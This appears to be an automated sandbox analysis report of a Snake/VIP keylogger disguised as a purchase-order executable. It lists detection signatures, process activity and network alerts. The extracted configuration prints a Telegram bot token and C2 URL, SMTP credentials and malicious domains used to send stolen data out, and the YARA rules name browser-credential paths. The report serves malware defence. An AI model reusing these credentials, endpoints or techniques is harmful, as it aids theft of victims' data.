Edit tour

Windows Analysis Report
New Order PO#86637.exe

Overview

General Information

Sample name:	New Order PO#86637.exe
Analysis ID:	1513787
MD5:	6fa58744ffb09c72c150f276f7c79ecd
SHA1:	f7202152b97a7c9396b43c53d30de9353cbf8836
SHA256:	5c6ff5340700194b1ec369d0fa8c4d03320a3e7379903d19a7c1fce628ee73bc
Tags:	exe
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Drops VBS files to the startup folder

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Sigma detected: WScript or CScript Dropper

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Generic Downloader

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

New Order PO#86637.exe (PID: 5636 cmdline: "C:\Users\user\Desktop\New Order PO#86637.exe" MD5: 6FA58744FFB09C72C150F276F7C79ECD)

name.exe (PID: 4592 cmdline: "C:\Users\user\Desktop\New Order PO#86637.exe" MD5: 6FA58744FFB09C72C150F276F7C79ECD)

RegSvcs.exe (PID: 1488 cmdline: "C:\Users\user\Desktop\New Order PO#86637.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wscript.exe (PID: 3964 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

name.exe (PID: 1292 cmdline: "C:\Users\user\AppData\Local\directory\name.exe" MD5: 6FA58744FFB09C72C150F276F7C79ECD)

RegSvcs.exe (PID: 5688 cmdline: "C:\Users\user\AppData\Local\directory\name.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Bot Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat id": "403948698", "Email ID": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Username": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat_id": "403948698", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000006.00000002.4535184676.0000000000374000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x2ebe1:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x2ebe1:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data
00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x2e579:$s2: SetHook 0x2e581:$s3: CallNextHook 0x2e58e:$s4: _hook
00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x2e579:$s2: SetHook 0x2e581:$s3: CallNextHook 0x2e58e:$s4: _hook
00000003.00000002.4537810663.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.4535184676.0000000000363000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc6fb:$a1: get_encryptedPassword 0xca18:$a2: get_encryptedUsername 0xc50b:$a3: get_timePasswordChanged 0xc614:$a4: get_passwordField 0xc711:$a5: set_encryptedPassword 0xde19:$a7: get_logins 0xdd7c:$a10: KeyLoggerEventArgs 0xd9e1:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: name.exe PID: 4592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: name.exe PID: 4592	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: name.exe PID: 4592	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: name.exe PID: 4592	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1900:$a1: get_encryptedPassword 0x1c13:$a2: get_encryptedUsername 0x171a:$a3: get_timePasswordChanged 0x1823:$a4: get_passwordField 0x1916:$a5: set_encryptedPassword 0x3dd9:$a7: get_logins 0x3d3c:$a10: KeyLoggerEventArgs 0x39a5:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 1488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 1488	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: name.exe PID: 1292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: name.exe PID: 1292	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: name.exe PID: 1292	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: name.exe PID: 1292	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xa8f54:$a1: get_encryptedPassword 0xa9267:$a2: get_encryptedUsername 0xa8d6e:$a3: get_timePasswordChanged 0xa8e77:$a4: get_passwordField 0xa8f6a:$a5: set_encryptedPassword 0xab42d:$a7: get_logins 0xab390:$a10: KeyLoggerEventArgs 0xaaff9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 5688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 5688	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RegSvcs.exe PID: 5688	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 5688	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6db7f:$a1: get_encryptedPassword 0x6de92:$a2: get_encryptedUsername 0x6d999:$a3: get_timePasswordChanged 0x6daa2:$a4: get_passwordField 0x6db95:$a5: set_encryptedPassword 0x70058:$a7: get_logins 0x6ffbb:$a10: KeyLoggerEventArgs 0x6fc24:$a11: KeyLoggerEventArgsEventHandler
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.name.exe.3f40000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.name.exe.3f40000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.name.exe.3f40000.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.name.exe.3f40000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.name.exe.3740000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.name.exe.3740000.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.name.exe.3740000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.name.exe.3f40000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x2ebe1:$a11: KeyLoggerEventArgsEventHandler
5.2.name.exe.3f40000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data
2.2.name.exe.3740000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bafb:$a1: get_encryptedPassword 0x2be18:$a2: get_encryptedUsername 0x2b90b:$a3: get_timePasswordChanged 0x2ba14:$a4: get_passwordField 0x2bb11:$a5: set_encryptedPassword 0x2d219:$a7: get_logins 0x2d17c:$a10: KeyLoggerEventArgs 0x2cde1:$a11: KeyLoggerEventArgsEventHandler
5.2.name.exe.3f40000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x2e579:$s2: SetHook 0x2e581:$s3: CallNextHook 0x2e58e:$s4: _hook
2.2.name.exe.3740000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f84:$a3: \Google\Chrome\User Data\Default\Login Data 0x391e1:$a4: \Orbitum\User Data\Default\Login Data 0x39bc0:$a5: \Kometa\User Data\Default\Login Data
2.2.name.exe.3740000.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c772:$s1: UnHook 0x2c779:$s2: SetHook 0x2c781:$s3: CallNextHook 0x2c78e:$s4: _hook
2.2.name.exe.3740000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.name.exe.3740000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.name.exe.3740000.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.name.exe.3740000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.name.exe.3740000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x2ebe1:$a11: KeyLoggerEventArgsEventHandler
2.2.name.exe.3740000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data
2.2.name.exe.3740000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x2e579:$s2: SetHook 0x2e581:$s3: CallNextHook 0x2e58e:$s4: _hook
5.2.name.exe.3f40000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.name.exe.3f40000.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.name.exe.3f40000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.name.exe.3f40000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bafb:$a1: get_encryptedPassword 0x2be18:$a2: get_encryptedUsername 0x2b90b:$a3: get_timePasswordChanged 0x2ba14:$a4: get_passwordField 0x2bb11:$a5: set_encryptedPassword 0x2d219:$a7: get_logins 0x2d17c:$a10: KeyLoggerEventArgs 0x2cde1:$a11: KeyLoggerEventArgsEventHandler
5.2.name.exe.3f40000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f84:$a3: \Google\Chrome\User Data\Default\Login Data 0x391e1:$a4: \Orbitum\User Data\Default\Login Data 0x39bc0:$a5: \Kometa\User Data\Default\Login Data
5.2.name.exe.3f40000.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c772:$s1: UnHook 0x2c779:$s2: SetHook 0x2c781:$s3: CallNextHook 0x2c78e:$s4: _hook
Click to see the 21 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , ProcessId: 3964, ProcessName: wscript.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.199.223, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 1488, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49745

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs" , ProcessId: 3964, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\directory\name.exe, ProcessId: 4592, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-19T12:21:09.868381+0200	2803305	3	Unknown Traffic	192.168.2.5	49706	188.114.97.3	443	TCP
2024-09-19T12:21:12.587080+0200	2803305	3	Unknown Traffic	192.168.2.5	49710	188.114.97.3	443	TCP
2024-09-19T12:21:16.853340+0200	2803305	3	Unknown Traffic	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-19T12:21:19.697445+0200	2803305	3	Unknown Traffic	192.168.2.5	49721	188.114.97.3	443	TCP
2024-09-19T12:21:21.955719+0200	2803305	3	Unknown Traffic	192.168.2.5	49726	188.114.97.3	443	TCP
2024-09-19T12:21:23.660634+0200	2803305	3	Unknown Traffic	192.168.2.5	49729	188.114.97.3	443	TCP
2024-09-19T12:21:26.310849+0200	2803305	3	Unknown Traffic	192.168.2.5	49735	188.114.97.3	443	TCP
2024-09-19T12:21:28.933359+0200	2803305	3	Unknown Traffic	192.168.2.5	49739	188.114.97.3	443	TCP
2024-09-19T12:21:30.247026+0200	2803305	3	Unknown Traffic	192.168.2.5	49741	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-19T12:21:07.338014+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	132.226.247.73	80	TCP
2024-09-19T12:21:09.322399+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	132.226.247.73	80	TCP
2024-09-19T12:21:10.634957+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49707	132.226.247.73	80	TCP
2024-09-19T12:21:12.041239+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	132.226.247.73	80	TCP
2024-09-19T12:21:19.338020+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49719	132.226.247.73	80	TCP
2024-09-19T12:21:20.478700+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49719	132.226.247.73	80	TCP
2024-09-19T12:21:23.019969+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49728	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: New Order PO#86637.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\directory\name.exe

Avira: detection malicious, Label: HEUR/AGEN.1321293

Found malware configuration

Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Username": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat_id": "403948698", "Version": "4.4"}
Source: 2.2.name.exe.3740000.1.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Bot Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat id": "403948698", "Email ID": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}
Source: RegSvcs.exe.1488.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\directory\name.exe

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: New Order PO#86637.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\directory\name.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: New Order PO#86637.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: New Order PO#86637.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49722 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:61520 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: name.exe, 00000002.00000003.2096037101.0000000004590000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000002.00000003.2097615402.0000000004730000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2224019871.0000000003F90000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2223130038.00000000049D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: name.exe, 00000002.00000003.2096037101.0000000004590000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000002.00000003.2097615402.0000000004730000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2224019871.0000000003F90000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2223130038.00000000049D0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
